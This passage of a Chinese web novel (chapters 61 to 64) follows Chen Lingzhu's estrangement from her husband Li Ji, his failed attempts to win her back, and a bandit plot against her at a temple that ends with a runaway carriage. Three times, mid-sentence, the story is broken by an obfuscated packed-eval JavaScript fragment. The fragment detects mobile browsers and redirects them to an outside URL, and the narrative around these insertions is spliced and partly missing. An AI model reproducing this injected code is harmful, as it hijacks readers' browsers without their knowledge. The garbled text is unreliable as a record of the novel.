车窗外很是热闹,若是平日,她或许会看得兴致勃勃,然而此刻,不知是否天气还有些热的缘故,心底有一股莫名的烦躁升起,往日喜欢看的热闹街景也索然无味。察觉到自己的不对劲,她放下帘子,闭上了眼睛平心静气,却怎么也平静不下来。 她感觉到李济一直在看着她,或许是想说点什么补救,但此时对她来说,他说什么都不重要了。 马车停了下来,她看也没看李济,径自跳下马车,头也不回地走了。 到了梅林上筑,她对迎上来的奶娘道:“嬷嬷,把我们的东西收拾一下,我们离开这里。” 奶娘大惊,“少夫人,发生了何事?” “珠儿,别这样。”他求她。 她冷笑道:“世子要拦着我?” 他没答,却站在她面前不动。 她冷笑着点头,“好,好,到了如今这个地步,我也不指望能走出镇国公府的大门。” “嬷嬷,把东西收拾一下,咱们到东院去住。” 奶娘求助地看向李济,“这……世子……” 陈灵珠脾气有些上来,不管不顾道:“嬷嬷快搬,不用理会旁人。” 说完,转身往东院去了。 姜嬷嬷连忙追了上去,“少夫人……少夫人……哎呀,这是怎么了……” 61. 第 61 章 翌日醒来,因睡眠不足,陈灵珠有些恹恹的,茯苓送早膳进来,她也没什么胃口。 正拿着汤匙发呆,抬眼一看,姜嬷嬷和两个丫鬟盯着她看呢。 她挤出笑容道:“怎么了?怎么都看着我?” 姜嬷嬷叹了口气,“少夫人,到底怎么了?你和世子本来好好的,怎么突然闹起别扭来了?” 陈灵珠也说不清自己是怎么了。其实她能理解李济,事关重大,性命攸关,他当然要守口如瓶。她与他成为夫妻不过半载,他没有理由要对她和盘托出。她名义上是他的妻,实际上,不过是皇帝的一只棋子罢了,对于这样一颗棋子,他对她推心置腹才是怪事。 她也不是生他的气,她区区一颗棋子,有什么资格生气呢。 她可以理解他,甚至能接受他冷落她,厌恶她,以至于派人监视她,甚至杀了她,她只是有些介意,为何他要说:“你如今是我镇国公府的人。” 她会当真的呀。 她就像一个无家可归的孩童,有人将她带回家,给她糖吃,告诉她,以后他就是她的亲人,家里的糖随便吃,她虽然不敢十分相信,但时间久了,也慢慢把这话当了真,以为自己真的有了亲人,有了许多的糖果。 但原来,亲人是假的,给她的糖,是为了哄住她才给她的裹着糖浆的砒霜。 “少夫人?”奶娘又唤。 看到奶娘满脸憔悴,此时更是快急出了眼泪,两个丫鬟也是满脸担忧,陈灵珠顿时有些愧疚。 她们跟着她,真的没有过过几天好日子,以后,还可能性命难保。 虽不打算瞒着她们,但也怕她们知道后过于担忧害怕,想了想,她将皇帝忌惮镇国公府的事情说了出来,其他的则不敢提太多。 饶是如此,奶娘几个依然大吃一惊,紫苏结巴道:“那,那我们该怎么办?” 陈灵珠道:“不必过于担心,事情还没有那么坏,陛下也不一定会做什么。咱们该怎么过还是怎么过。” 装出来的笑脸安抚了奶娘几个,也安慰了自己。 天还没塌下来,皇帝或者镇国公府也还没有要她的命。 现在就愁眉苦脸、食不甘味的,大可不必。 她应该过好自己的日子,至于其他的,见机行事就是。 下午,陈灵珠依然与紫苏在庭院荡秋千。 微风拂面,她眯起了眼睛,道:“今日天气不错。” 无人应答,她扭头一看,紫苏正望着天上飞着的别人放的纸鸢。 她笑道:“怎么?紫苏姐姐想玩纸鸢?” 紫苏不想玩纸鸢,她是在想纸鸢能否让陈灵珠高兴起来,但她点了点头,“我们去年放过一个漂亮的天鹅,可惜飞走了。少夫人,要不,咱们明日再去买一个?” 陈灵珠想了想道:“不必去买了,我们现做一个如何?我们见过卖纸鸢的老翁怎么做的,看起来也不是很难。” 自己做的也别有一番意趣,紫苏当然说好。 说干就干,陈灵珠让几个丫鬟找来竹子、纸笔,浆糊、线等材料,几个人嘻嘻哈哈地做纸鸢,仿佛什么事也没有发生过。 李济已经下值,他在小书房看着书,外头传来一阵又一阵断断续续的少女欢乐笑声和脚步声,他看不下去了,问阿拙:“少夫人在做什么?” 阿拙这个爱管闲事的当然知道,他答道:“少夫人和几个姐姐在做纸鸢呢,少夫人画了一个喜鹊,可好看了。” 见世子这边无事,他正准备出去凑热闹,世子却叫住他道:“去拿些做纸鸢的材料过来,我做一个。” 世子有此雅兴,阿拙自然无有不从。 他还是个半大孩子,本就贪玩,看到陈灵珠几个自己动手做,早就心痒了,奈何职责在身,不敢跑开太久。 想到一会能去花园放纸鸢,他的心都飞起来了,连忙答应一声,飞跑去准备东西。 陈灵珠画了一个喜鹊,小心地裁剪出来,涂上浆糊,再贴在竹子做好的框架上,粘上细枝条,绑上线,一个简易的纸鸢就做好了。 她带着紫苏茯苓等几个丫鬟,来到了镇国公府的后花园。 后花园有一片极大的空地,正适合放纸鸢。 但不知是纸鸢飞起来本就不容易,还是几人做的纸鸢飞起来格外不容易,几人试了又试,把纸鸢调整了好几次,还是没能飞起来。 勉勉强强让它飞起来一点点,还没来得及欢喜,那纸鸢又一头栽了下来。 “唉!”几人同声叹气。 陈灵珠笑道:“别灰心,我们再调一下,总会飞起来的。” 她调好后奔跑了一阵,那喜鹊纸鸢升了一人高,众婢女正欢呼,欢呼声还没落下,纸鸢又摔了下来。 众人:“……” 陈灵珠不肯放弃,又调整、试飞了好几次,那喜鹊才歪歪扭扭地升了上去。 “少夫人太厉害了!” “少夫人好棒!” 众婢女一顿夸奖,陈灵珠骄傲地看着那喜鹊在半空中飘扬,总算成功了。 阿拙望着空中的喜鹊,拿着世子做的纸鸢上前笑道:“少夫人,这个纸鸢送给您。” 他有些不好意思,因为手中的纸鸢实在太丑了,与少夫人的喜鹊一比,根本就拿不出手。可是世子吩咐,他又不能不照办。 陈灵珠看着阿拙递过来的纸鸢,哈哈大笑。 “这是你做的?” “不是不是!” 阿拙连忙摆手否认:“不是小的做的,是世子做的。世子说,这是个鸳鸯。” 其实他左看右看,也看不出世子画的这东西跟鸳鸯有什么关系。不过世子说了,少夫人慧眼如炬,定能一眼就能看出这是什么。 李济上次画手帕上的小猪画得颇为神似,没想到画个鸳鸯会画成这样,陈灵珠接过那纸鸢看了一阵,哈哈笑个不停。但笑着笑着,她又停了下来。 李济让阿拙拿这个纸鸢过来是什么意思她不是不懂,但他们之间的问题,绝不是一只纸鸢能够解决的。 众婢女围了过来,看着那纸鸢。 “这是什么呀?”紫苏道:“鸡吗?” 还是个奇形怪状的鸡。 “是鹅罢?”茯苓不确定。 呆头鹅罢,呆头呆脑的。 阿拙道:“世子说是鸳鸯。” 众婢女听说是鸳鸯,想笑,又不敢笑,便都微笑着望向天上的喜鹊,欢喜道:“少夫人,喜鹊飞得好高呀。” 然后才哈哈笑了出来,仿佛她们只是为喜鹊飞得高而喜悦。 陈灵珠对阿拙道:“这个纸鸢,你自己放罢。” 阿拙挠挠头,尴尬地笑,这么便宜他? 他有心为世子挣回一点面子,便一手拿纸鸢,一手拿线,迎风奔跑。试了好几次,功夫不负有心人,“鸳鸯”终于飞了上去。 它越飞越高,阿拙兴奋地将线放长,没一会儿,纸鸢就飘到高空中迎风招展,连那呆呆的看不出什么鸟的头看起来也有了几分神气。 这鸳鸯终于挽回一点面子,阿拙心中也觉安慰。 世子果然是世子,这纸鸢是丑,但只要能飞,别的都不是事。 鸳鸯如此神气,阿拙心中得意起来,放长了线,与少夫人的喜鹊并驾齐飞。 看罢,只要飞得高,其实少夫人画的跟世子画的也没多大区别。 他想着,手中的线越放越长,没想到乐极生悲,一个不小心,鸳鸯与喜鹊便缠到了一起。他心里一急,慌忙用力将线一扯,两只纸鸢顿时都断了线,被风一吹,摇摇晃晃地飘向了远处,没多久,就消失在围墙外头。 陈灵珠:“……” 阿拙:“……” 众丫鬟:“……” 夜幕降临,阿拙才脸蛋红彤彤的地回到了梅林上筑的东院。 李济问他:“少夫人可喜欢我做的鸳鸯?” 阿拙犹豫了一瞬,点头道:“喜欢。” 他也不算撒谎,毕竟少夫人看到那纸鸢,笑得可开心了。 “那纸鸢少夫人收起来了?” 阿拙说是,纸鸢在少夫人那儿。 他后来去捡回了纸鸢,但他拿着断线的纸鸢回来不知如何跟世子解释,便央心肠较软的茯苓替他收着了,少夫人的丫鬟收了就等于她收了。 李济微微露出一丝笑意,她既然接受了他的纸鸢,那是否说明,她的气已经消了一些? 他问阿拙:“少夫人还在后花园?” 天色已黑,已到了用晚膳的时候,若是平日,她早该回来和他一起用膳了。 阿拙说没有,“太夫人派绿儿姐姐来请少夫人,少夫人去太夫人那儿了。” 李济听了道:“走罢,咱们也去太夫人那儿。” 陈灵珠放完纸鸢,转身看到绿儿,说太夫人请少夫人陪她用晚膳。 她一时没应。 自她来了镇国公府,太夫人一直对她很好,无论她做什么都支持她,堪称事事为她撑腰,她也不是不知感恩的人,心底里早已把太夫人当亲祖母看待。 可是,如果李济是在欺瞒她,那太夫人呢? 太夫人对她的好,也是出于真心吗? 她不知道,也不愿去想。 她站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865972|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没动,绿儿笑道:“二少夫人,太夫人说,今日她吩咐厨房做的,都是您喜欢的菜。” 陈灵珠最后还是去了太夫人的松鹤院。 “珠儿快过来,今日祖母得了些新鲜的鸡枞、松茸,让厨房按你上次说的做法做了,你快看看,是不是色香味俱全?” 太夫人见了她,立刻笑呵呵地招呼她,与平日一样和蔼可亲。 见她没动,又催促她道:“快过来坐下,你尝尝看,香不香?” 陈灵珠坐下,太夫人给她夹了一箸鸡枞,笑道:“快尝尝,看厨房做得对不对味。” 陈灵珠低头看着碗里的蘑菇,心里酸楚,泪水渐渐盈眶。 “世子。”门外响起问安声。 陈灵珠微微抬头,果然看到李济大步走了进来。 她咬了咬唇,将眼泪忍了回去。 “济儿,你怎么过来了?”太夫人笑着道:“可是听说了祖母这里有好东西?” 李济笑道:“好久不曾陪祖母用膳了,今日得了闲,便过来了。” 下人很快多加了一副碗箸,李济便在太夫人右侧坐了下来,与陈灵珠面对面。 她面无表情,然而,连眼尾也未扫他一下。 他拿起筷子夹了一块鹿肉给太夫人,太夫人笑着接了。又夹起另一块想给陈灵珠,她却微微移开了身体,避开了他的筷子。 李济:“……” 看着孙儿夹到半路又收回去的鹿肉,太夫人暗觉好笑,又微微叹气。 罢了,她尽力了,其他的,由他们年轻人自己折腾去罢。 翌日,阿拙进书房给世子添茶水,见世子手里拿着书,眼睛却望向别处,一副神游九天的模样,阿拙添了茶水又站了好一会,他还没回过神。 “世子?”阿拙唤了一声。 李济没动,他又唤了一声:“世子!” 李济如梦初醒,看着他。 “世子,您这是怎么了?可是哪里不舒服?” 李济抚了抚眉头:“无事。” 又问阿拙:“昨日那纸鸢,少夫人当真喜欢?” 阿拙不敢再隐瞒,忙把实情说了出来,苦着脸道:“小的是怕世子失望,这才没有说实话,请世子责罚。” 这小厮,胆子越发大了,他道:“你既然知错,自去领罚。” 阿拙苦着脸道是。 李济暗暗叹了口气,小姑娘的气性一向大,这下也不知要气多久。 他略顿了顿,决定给阿拙一个将功赎罪的机会,问他:“你知道女子生气的时候,怎么才能让她消气吗?” 阿拙:“……” 世子真的高看他了,他接触得最多的女子就是他娘和府里的姐姐们,他惹娘和姐姐们生气的时候,一般就是让她们骂几声,甚至打几下,她们也就消气了。 他挠挠头,“世子,小人不知。不过,我娘生气的时候,我爹都是给她买衣裳,买头花,我娘收到这些,过一会儿准和我爹和好了。” 送东西? 倒也是个法子。 不过送什么呢? 送首饰衣裳?这些东西,她只怕不会看在眼里。 左思右想,他有了个主意。 那小姑娘向来喜欢有趣的小物件,他以前看过别人用野草编过草蜢、蝴蝶、螳螂等,如今编几个来送她表示自己的歉意,岂不是正好? 他马上让阿拙找了些草来,按照记忆编了起来。 阿拙在旁边也没闲着,很快织好了一个蝈蝈,问他:“世子,小人这个可能用?” 阿拙手巧,织的这一个蝈蝈栩栩如生,但李济不想用他的。 他摇了摇头,“我自己来罢。” 到底有些手生,费了大半夜时间,才编成一只草蜢,一只蝴蝶,一只蚂蚁,还有一只瓢虫。 编完,他看了看滴漏,这个时辰陈灵珠应已睡下了。 “明日一早,就将这些东西送给少夫人,跟她说,是我亲手所做,可明白了?” 阿拙答应下来。 次日,陈灵珠正在洗漱,紫苏拿着几个草编的草蜢、蝴蝶等物走了进来,笑道:“少夫人,阿拙说这是世子亲手编的,让拿来给您玩儿解闷呢。” 陈灵珠瞥了一眼几个草织的物件,淡淡道:“拿回去罢,我并非三岁小儿,不必拿孩童之物哄我。” 阿拙昨日被罚,今天办事又不力,待李济下值回来,苦着脸道:“少夫人说,她不是小孩儿,不喜欢这些东西。” 李济微微叹了口气,“罢了。” 他知道她喜欢的,不肯要,不过是还不肯原谅他罢了。 62. 第 62 章 陈灵珠拿着算盘噼噼啪啪地算账。 这段时间,铺子的生意很不错,上个月的利润掌柜的已经送了过来,再加上嫁妆的现银、上次赌坊的赔银和其他拉拉杂杂的,她手上也积攒了一笔钱。 假如她能全身而退,以手上的这笔银子和之后的进项,先盘一座两进的屋子,她带着奶娘、紫苏、茯苓和周叔一家子去住,应该不成问题。 出去独自过活,样样要省简一些,锦衣玉食是不可能了,但若能将铺子、田庄好好经营,日子应当也不是过不下去。 只是终究是委屈了奶娘他们,他们跟着她,就不曾过过几天好日子。 至于其他从陈府带来的下仆,只能给他们一笔回乡的费用遣散他们了。 说到下仆,她想到了她从陈府带来的那几个原属于陈灵瑛陪嫁的婢女。李济应当是早就发现皇帝对他的忌惮了,否则,那些婢女不会接二连三以各种理由被打发了。是她一叶障目,才会虽然心存疑虑,却始终不敢相信。 想到这里,她有些懊恼,心烦意乱地将算盘弄乱。 蹙着眉头好一会儿,她认命地叹了口气,将算盘归零,重新算了一遍。 罢了,虽然未必能活,但也不是必死,未雨绸缪也好,垂死挣扎也罢,她总要给自己一点希望。 李济私库的那些东西,她从来没有动过,原样还给他罢。 她让紫苏把杏儿叫了过来。 杏儿朝陈灵珠行了礼,问道:“不知少夫人有何吩咐?” 陈灵珠让茯苓将此前李济给她的单子和钥匙拿出来,对杏儿道:“这是世子的东西,你拿回去给他罢。” 杏儿微微一顿,并不敢拿。这是给少夫人的东西,世子没有发话,她如何敢替他决定? 陈灵珠道:“拿回去罢,世子心中有数,不会怪你的。” 少夫人虽然亲和,有时候和他们这些奴婢嘻嘻哈哈的,可是她的话杏儿也不敢不听。僵持了一会儿,无奈地应了声是,拿着东西走了。 …… 望着杏儿拿回来的库房单子和钥匙,李济问阿拙:“你娘生气的时候,你爹还会怎么做?” 阿拙想了半日,终于想了起来。 “要是送衣裳送头花没用,我爹就会缠着我娘。” “缠着?” “对!我娘走到哪儿他就跟到哪儿,连话都不用说,跟得久了我娘就消气了。” 死缠烂打? 俗话说,烈女怕缠郎,阿拙他爹的做法也有点道理。 次日,待李济下值回来,负责打探消息的阿拙忙道:“世子,小人刚才听说少夫人到花园钓鱼去了,咱们快去罢!钓鱼的工具小的都准备好了!” 李济点头,“走罢。” 陈灵珠找了个舒服的地方,将装了鱼饵的鱼竿投入水中,一边跟紫苏说话,一边等着鱼儿上钩。 湖里鱼儿很多,但鱼儿总是吃掉了饵,过了好久,她才钓上来一条两指宽的鲫鱼。 过了一会儿,身边来了两个人。她扭头一看,是李济和阿拙,李济的手里也拿着一根鱼竿。 阿拙嘻嘻地笑,“少夫人,这么巧?” 确实很巧,巧到只有这两棵柳树下能遮阴,巧到只有这一块地方能钓鱼。 陈灵珠没理他们,回头盯着自己的鱼竿。 李济对她一笑,见她根本不理他,只能甩了甩鱼竿,将鱼饵放了下去。 再侧目看她,却见她对他视而未见,只和紫苏一人说话。 没一会儿,浮标动了动。 阿拙喊道:“鱼儿上钩了!鱼儿上钩了!” 陈灵珠以为是自己钓到了鱼,忙扯自己的鱼竿,谁知拉上鱼竿一看,什么都没有。再扭头一看,水面“哗”地一声响,李济拉上来一条巴掌宽的大鱼。 陈灵珠:“……” 她若无其事地收回鱼竿,重新上了饵,再放回水中。 李济是来求和的,绝对没有故意让她尴尬的意思,怕她脸皮薄,便装着什么也没看见,将鱼儿从鱼钩解下,示意阿拙小声些。 他来此的目的本就不在钓鱼,担心再钓上来一条大鱼,便象征性地往鱼钩上沾了一点鱼饵,将鱼钩甩了下去。 她依然半个眼神也没有分给他,他有些讪讪,“珠儿,我……” 话未说完,阿拙又叫了起来:“上钩了,鱼儿上钩了!” 李济:“……” 怎么这湖里的鱼宁愿牺牲自己也要与他作对? 他忙道:“珠儿,这鱼……” 陈灵珠已是站了起来,叫紫苏:“紫苏,我们回去罢。” 刚才只顾着为世子高兴的阿拙此时颇有眼色,见陈灵珠说不钓了,忙跑过去笑道:“少夫人,小人帮您拿桶。” 紫苏说不必,她自己拿,但阿拙笑着抢过去道:“紫苏姐姐别跟我客气,我力气大得很呢,别说一条小鱼,就是再来几条大鱼我也拿得动!” 陈灵珠:“……” 她有理由怀疑,阿拙是在阴阳怪气地讽刺她。 李济抚额,阿拙这个傻小子。偏他还不觉得他说的话有何问题,两手提桶,兴冲冲地往回走,不想一个不小心,踩到了地上的一颗石子,脚底打滑,踉跄了一下后朝前冲了两步,手一抖一松,原本提着的小水桶便滚入了湖水之中。 桶中仅有的战果入了水,吐了吐泡泡,在水面上高高跃起后朝着几人摆了摆尾,很快游走了。 众人:“……” …… 阿拙爹娘的经验显然不管用,李济搜肠刮肚半日,终于想起从前他几个属僚闲谈时说过的一个法子。 据说,此法百发百中,从不落空。 是夜,夜黑风高,梅林上筑西院突然响起一声凄厉的呼喊。 陈灵珠正打算睡下,听到阿拙高喊:“世子,世子,您没事罢?” 紫苏等人担心道:“姑娘,世子那边好像出事了!” 陈灵珠也听到了那声呼喊,急忙爬下了床,穿上外衣过去了。 到了西院次间,只见李济半瘫坐太师椅上,脸色苍白,眼睛半闭,似乎随时能驾鹤归西。 阿拙站在他旁边摇晃着他,“世子,您可千万不能有事啊……” 陈灵珠问怎么回事,阿拙指了指屋子角落的一条蛇,带着哭腔道:“少夫人,世子,世子叫这毒蛇咬了一口,毒发攻心了……” 奶娘和丫鬟等一惊,陈灵珠本想上前看看李济,阿拙却指着那条蛇道:“少夫人,就是那条,世子一时没注意,叫它咬了一口……” 配合着阿拙的话,李济痛苦地呻.吟了一声。 陈灵珠四处张望,找了根棍子,阿拙看出她的意图,忙拦道:“少夫人当心!那毒蛇还没死透呢!当心它咬您一口!” 陈灵珠:“没事儿,我不怕。” 李济:“……” 是他小看了人,成亲半年余,不知夫人是女侠。 陈灵珠小心地拨了拨蜷成一团的蛇,那蛇通身褐色的环纹,早已没了生机。 她冷笑了一声,扔下棍子,“嬷嬷、紫苏、茯苓,我们回去。” 奶娘等人不知怎么少夫人看了蛇一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李济有些失望,原来这两人跟阿拙的爹娘也没什么区别,看来无论贫穷还是富贵,年纪大还是年纪小,哄人都是一个路子。 可如今的问题是,等闲的路数都打动不了陈灵珠,甚至还弄巧成拙,让她更生气了。 “还有……”张现脸上现出赧色,“夫妻嘛,床头打架床尾和,有时候,你知道的。” 李济:“……” 他不知道。 若他现在敢对陈灵珠动手动脚,别说床头打架床尾和了,只怕会被她一脚踹下了床。 这一点,他毫不怀疑。 张现后知后觉,“你问这个,该不是惹弟妹生气了罢?” 他哈哈大笑,“济之,你也有今日。” 李济:“……” 张现问他:“你做什么惹弟妹生气了?” 李济将原因告诉他。 这下,张现也沉默了。 将李济的白亳银针新茶喝了一杯又一杯,半晌,他道:“济之,这事儿真的有点难办。弟妹没错,你也没错。” 李济默默叹了口气。他背负着镇国公府上下几百口人的身家性命,行事必须慎之又慎。若非必要,他甚至不会将这些事告知忠勇侯父子。 他问张现:“若是你,会告诉阿瑶吗?” 张现沉吟了一会儿,摇头苦笑,“我也不知道。” 63. 第 63 章 九月十五,陈灵珠和李照槿一起去南光寺上香。 本来她不想去,但李照槿求了她几次,“其他姐妹都没空,我一个人去又有点怕,嫂嫂,你就陪我去罢?” 那件事情与李照槿无关,她也想去散散心,顺便借此机会看看李济对她出府的态度,犹豫了一番,便答应了。 南光寺不是大寺,稍微有些偏僻,国公夫人说不放心她们姑嫂,安排了十几个婆子并七八个护院跟车。 今日时间充足,陈灵珠吩咐车夫行慢些,与李照槿一路说着话,一路看路上的风景。两个时辰后到了南光寺,姑嫂两个下了马车。 梵音阵阵,檀香袅袅,陈灵珠虽不是个虔诚的信徒,但在这样的环境下,也不由肃然起敬,恭敬地捻香礼拜。 李照槿在大雄宝殿上了香,笑着道:“嫂嫂,我想去偏殿求些平安符给祖母、母亲、爹爹还有哥哥、姐姐她们,只怕要费些功夫。嫂嫂不妨先四处走走。” 陈灵珠答应下来,先陪着她进了偏殿。偏殿的的佛像前摆着一些开过光的符纸,任人自取,只是一般人求符,都会在佛前虔诚祝祷,南光寺僧人还特意在香案前放了一卷经文,让信众自行取用。 李照槿拈香拜了佛、添了香油后便取了个蒲团跪在佛前,给镇国公府诸人求平安符。镇国公府人多,她一个个求下来,耗时良多。 陈灵珠走出偏殿,吩咐丫鬟婆子和护院守好李照槿,自己去寺中各处参观、礼拜。行至天王殿,后面有人惊喜地唤她:“珠儿!” 她回头一看,是沈信。 因特意被嘱咐过,护院们都不敢放沈信过去,拦住了他不肯让他靠近陈灵珠。 陈灵珠示意护院放行,“这是我的表兄。” 护院们听了,这才放下手不再阻拦。 沈信几步上前,惊喜道:“珠儿,竟在这里见到你。” 陈灵珠问他:“三表兄怎也在此处?” 沈信笑道:“我与同窗来此郊游,路过南光寺便进来烧香,见到镇国公府的马车,问了寺中的知客僧,才知你也在南光寺。” 他喜出望外、兴致勃勃,陈灵珠问了他授官的情况,得知他已是秘书省著作佐郎,祝贺了他,又问候了姑母姑丈几句,便道:“表兄若无事,我先失陪了。” 说罢转身,准备回去找李照槿。 沈信愣了愣,叫住她道:“珠儿!” 陈灵珠回头看他。 沈信有很多话想跟陈灵珠说。 他想告诉她,他会继续为他们的以后努力,终有一日,他会成为她的依靠; 他想提醒她,他会等着她,若是她离开李济,无论何时,他都愿意立即娶她为妻; 他想恳求她,不要忘了他们从前的情分,不要对他客气而疏离。 这些话涌到他的喉咙,几乎要脱口而出。 可是最后他只道:“珠儿,你近来过得可好?” 陈灵珠笑了笑,点头道:“表兄放心,我过得很好。” 她近日应是有些微憔悴的,所以她尽力微笑着,让自己看起来神采奕奕。 沈信盯着她看,他也不知道自己想看出什么,或许是想从她的脸上寻出她说谎的证据,证明她过得并不好。 他被自己的这个想法吓了一跳,暗暗鄙视自己竟有如此卑劣的想法。 然而他心底也明白,他就是这么想的,他希望她在镇国公府过得好,却又害怕她过得太好——过得太好,她就再也不可能要他了。 望着她,他一时说不出话来,差点红了眼眶。 他闭上眼睛平复心绪,好一会,才睁开眼轻声道:“如此便好。” 勉强露出一个笑,他慢慢往山门而去。 陈灵珠暗暗叹了口气,又发了一会儿呆,才回去找李照槿。 李照槿求完平安符,又歉然道:“嫂嫂,方才我听一个小师父说,这寺里来了一个高僧,对佛法参悟极深,恰好他今日开堂讲经,遇到了也是难得,我想去听一听,嫂嫂可能等我一等?” 陈灵珠便说陪她去,李照槿摇头为难道:“小师父说,那大师脾气古怪,每次讲经,限定听众三人,如今已有二人,嫂嫂同去却是不便。” 陈灵珠对佛经本就不像李照槿热忱,便说她留在净室休息,让李照槿听完经回来找她,又吩咐跟李照槿的丫鬟婆子小心跟着,千万别离了眼。 婆子丫鬟忙都答应了,于是兵分两路,各自行动。 知客僧将陈灵珠带到一排净室中最靠角落、最清净的一间,对陈灵珠道:“世子夫人见谅,本寺无单独待客的院子,怠慢世子夫人了。” 陈灵珠知南光寺不比相国寺这种大寺庙,不能计较太多,何况看这净室,窗明几净、一尘不染,便道无妨,谢过了知客僧。 知客僧离去后,她见屋角放着的一只香炉里熏香袅袅,皱了皱眉,捂了口鼻,让婆子把这香炉搬出去。 她不太喜欢这个香的气味,而且香是最容易做手脚的,虽说南光寺是佛门净地,但出门在外,还是小心些为好。 在外面等着药倒她的贼人:“……” 他们头儿说,今日这一趟是一票肥的。差事也简单,将指定的那个女子毁了便可。 至于怎么毁,就随便他们了。道上常见的,无非是先.奸.后.杀,或者将人掳走,受用过后毒哑了卖到暗窑子。 但无论哪一样,这些被盯上的女子都翻不了身。 头儿只有一样要求——手脚干净些。 所以他们昨日得知那个仿若瑶台仙子的美人儿要来南光寺后,便早早地来探了地形,做好准备。 只是他们没想到那两个女子带来的婆子和护院如此之众,又处处小心,让他们一时找不到下手的机会。 不过,只要那女子要去净室休息,那就好办了。 他们探查地形的时候发现,寺庙的净室靠着后山,以他们的武功,从后窗进入净室不是难事。只要将那女子药倒,让她发不出声音,他们从后窗进入,神不知鬼不觉地将人掳走,便可以为所欲为了。 但他们没想到,那女子竟让人将掺了迷药的香搬了出来。几个贼人面面相觑,倒是没想到,这女子如此警觉,看来不是个好对付的。 “头儿,怎么办?”一个贼人低声问领头的那个。 领头的眼珠转了转,发狠道:“干脆,下把药将他们全部迷晕!” 他指了一下其中一个光头的贼人:“你来!” 陈灵珠今日一早就起来,到了这里,又是跪又是拜的,已是有些累了,她命婆子们守在门外,护院则在不远处的大树下守着,她和紫苏两个人在净室里休息。 几个婆子在檐廊下不远守着,低声说话。 “今儿天气不错,怪凉爽的。” “是啊,不过夜间该有些凉了,我没带够衣裳。” “放心,槿姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但现下,连婆子和护院都不肯喝姜枣茶。 领头的眯了眯眼睛,道:“不喝姜枣茶……用饭的时间快到了,他们不喝姜枣茶,总要吃这庙里的素斋,咱们将药下到饭食里,把全部人干翻。” 本来他也不想这么做,毕竟庙里还有其他香客和僧人,将药下到香客的斋饭里,总是麻烦一些。 好在这寺庙偏僻,来的人并不算很多,且僧人与香客并不同食。 他们等了等,看着其他香客陆陆续续都去用了素斋,应是差不多了,两个贼人偷偷来到伙房,趁着里头伙头僧走开的功夫,将药下到几个锅里,用长柄勺子搅了搅。 事情顺利,两个贼人得意地相视一笑,悄悄离开了。 但他们没想到,镇国公府从上到下都没有去伙房取素斋的意思,而是各自拿起自带的干粮,吃了起来。 众贼人:“……” 他们以为是简单的任务,根本没做长时间计划,自然也没带干粮,如今到了饭时难免口干舌燥,肚子饿得咕咕叫,想去伙房拿点素斋吃,又早被他们自己下了药。 光头贼骂那方才去伙房下药的两个贼人道:“你们也是笨,就不会先装起几碗留给咱们自己!” 下药的两人被骂得委屈,他们是去下药的,不是去打饭的,哪里会记得先给自己分出来!被骂笨,一人登时也是恼了,回嘴道:“三哥这么能干,刚才怎也失了手?” 两人你一言我一语地吵了起来,领头的被他们吵得头疼,让他们别吵了:“如今这事儿有些难办,上头说,今日这事,一定要做成。” 他皱着眉头想了一会儿,忽然阴恻恻一笑:“看来今日这小娘们咱们是受用不成了,不过,想要人死,倒是有其他办法。” 64. 第 64 章 陈灵珠在净室里休息了一阵,李照槿也听完了经,姑嫂两个相携下山。上了马车,两人说些闲话,行了一段路,马车突然一抖。 陈灵珠问车夫:“怎么回事?” 车夫是个老把式,成竹在胸地笑道:“少夫人,马儿闹脾气呢,小人这就让它慢些走。” 他语气轻松,并不把这突然的变化放在心上。但车速并没有缓下来,反而越来越快,姑嫂两人被晃得坐不稳。 陈灵珠再问怎么回事,车夫传来的声音透着紧张:“少夫人,这马,好像,好像不受控制了。”他紧张地试图叱停马儿,马儿却像发了狂,不管不顾地向前冲。路上有一个大坑,马车“哐当”一声,李照槿被颠得从垫子上摔下,惊呼一声,话音里带了哭腔:“嫂嫂……” 陈灵珠也摔了下来,她来不及揉被摔痛的屁.股,连忙扶着侧边支窗站起,打开车夫后面的支摘窗一看,只见马儿疯狂飞奔,车夫满脸惊慌,拼命想拉住失控的马儿,哪里还有刚才的淡定模样? 又“哐当”一声,马车以极快的速度碾过一块大石,还坐在车轸上的李照槿被抛起,然后重重地摔下。 再这样下去,说不好就要车毁人亡。 陈灵珠忙看向车后的几个护院,希望他们过来救她们,但他们的马不过是普通的马,如何跑得过已经疯了的两匹? 眼看他们将护院等人甩得越来越远,李照槿哭道:“嫂嫂,怎么办?” 陈灵珠忍着头昏脑涨拼命思索:这种情况下她们只有三个选择,一是等车夫把马控制住,二是等天降奇迹,三,就是跳车了。 看着车夫越来越拉不住发狂的马,一大概是靠不住了,二……算了罢。 “先看情况,实在不行我们就跳车。” 李照槿呆住了,跳车?车速这样快,她们这样跳下去,受伤还是轻的,一个不好,脖子都要断。 陈灵珠道:“我记得来时看到路边有农民堆了一连片的草垛子,若是跳到草垛子,应该能活命。” 马儿疯狂跑了一阵,毫无慢下来的意思。 姑嫂两个被晃得发晕,陈灵珠死死咬着牙,攀住侧边的窗框望着窗外。 希望草垛子在前面而不是后面。 马儿奔得越来越快,远远地,道路旁似乎看到草垛子的影子了,陈灵珠心中一喜,对李照槿道:“一会儿我说跳,你就使尽全力跳到右边的草垛子上,不要犹豫,听到没有?!” 